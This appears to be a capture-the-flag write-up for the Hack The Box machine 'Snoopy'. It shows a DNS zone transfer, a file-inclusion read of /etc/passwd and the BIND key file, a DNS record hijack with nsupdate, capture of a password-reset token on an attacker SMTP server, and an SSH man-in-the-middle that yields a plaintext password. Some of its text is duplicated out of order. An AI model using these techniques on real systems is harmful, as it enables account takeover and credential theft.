Jul 04, 2023, 10:26 PM
starting with a nmap
we see that DNS is running on port 53 so the next step is to check for zone transfer
we add the mm.snoopy.htb domain to our /etc/host and continue to enumerate the box
going to the main site we find that their is a LFI in the announcement download feature that we can abuse but the file we read are converted to a zip so we need to forward our request to browser to download them and cat them out, since DNS is running we need to check /etc/bind/named.conf here we find the rndc key and its secret we can use this info to do a domain takeover of the mail.snoopy.htb domain since it is currently down. we can do this by using nsupdate
then add the following info and start a smtp server to capture emails
using the file read above, you can read /etc/passwd and find the user with a shell like sbrown and cbrown, furthermore looking at the employees of snoopy.htb we find a user named sally brown whose username is sbrown, hence her email would be [email protected].
going to the mm.snoopy.htb site we find a login form with a password reset feature using email, start a email server on your end after updating the ns records like above
send the password reset request and in your terminal you should see the link for password reset with a token
remove the
also make sure to remove the 'b' byte artifact left over from captured message. The recovery token in this case must be 64 characters long.
after resetting the password for sbrown login and use the "/server_provision" command to send a ssh connection that you can MITM
using this method use can get the username and password for cbrown user
ssh into the box, from here on out we need to switch users to privesc and become root and to do that we need to become the sbrown user
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
|_ 256 545941e1719a1a879c1e995059bfe5ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 4 14:59:09 2023 -- 1 IP address (1 host up) scanned in 16.97 secondswe see that DNS is running on port 53 so the next step is to check for zone transfer
dig axfr snoopy.htb @10.129.150.83
; <<>> DiG 9.18.12-0ubuntu0.22.04.1-Ubuntu <<>> axfr snoopy.htb @10.129.150.83
;; global options: +cmd
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb. 86400 IN NS ns1.snoopy.htb.
snoopy.htb. 86400 IN NS ns2.snoopy.htb.
mattermost.snoopy.htb. 86400 IN A 172.18.0.3
mm.snoopy.htb. 86400 IN A 127.0.0.1
ns1.snoopy.htb. 86400 IN A 10.0.50.10
ns2.snoopy.htb. 86400 IN A 10.0.51.10
postgres.snoopy.htb. 86400 IN A 172.18.0.2
provisions.snoopy.htb. 86400 IN A 172.18.0.4
www.snoopy.htb. 86400 IN A 127.0.0.1
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 43 msec
;; SERVER: 10.129.150.83#53(10.129.150.83) (TCP)
;; WHEN: Sat May 06 22:40:39 CEST 2023
;; XFR size: 11 records (messages 1, bytes 325)we add the mm.snoopy.htb domain to our /etc/host and continue to enumerate the box
going to the main site we find that their is a LFI in the announcement download feature that we can abuse but the file we read are converted to a zip so we need to forward our request to browser to download them and cat them out, since DNS is running we need to check /etc/bind/named.conf here we find the rndc key and its secret we can use this info to do a domain takeover of the mail.snoopy.htb domain since it is currently down. we can do this by using nsupdate
nsupdate -d -y hmac-sha256:rndc-key:{secret_that_you_found_in_named.conf}then add the following info and start a smtp server to capture emails
> server {BOX_IP}
> zone snoopy.htb
> update ADD mail.snoopy.htb 86400 IN A {YOUR_IP}
> sendusing the file read above, you can read /etc/passwd and find the user with a shell like sbrown and cbrown, furthermore looking at the employees of snoopy.htb we find a user named sally brown whose username is sbrown, hence her email would be [email protected].
going to the mm.snoopy.htb site we find a login form with a password reset feature using email, start a email server on your end after updating the ns records like above
python3 -m smtpd -n -c DebuggingServer {YOUR_IP}:25send the password reset request and in your terminal you should see the link for password reset with a token
remove the
"3D" and the second "=" in the url as their url encodingalso make sure to remove the 'b' byte artifact left over from captured message. The recovery token in this case must be 64 characters long.
after resetting the password for sbrown login and use the "/server_provision" command to send a ssh connection that you can MITM
python3 -m sshmitm server --enable-trivial-auth --remote-host {MACHINE_IP} --listen-port 2222using this method use can get the username and password for cbrown user
user: cbrown
password: sn00pedcr3dential!!!ssh into the box, from here on out we need to switch users to privesc and become root and to do that we need to become the sbrown user
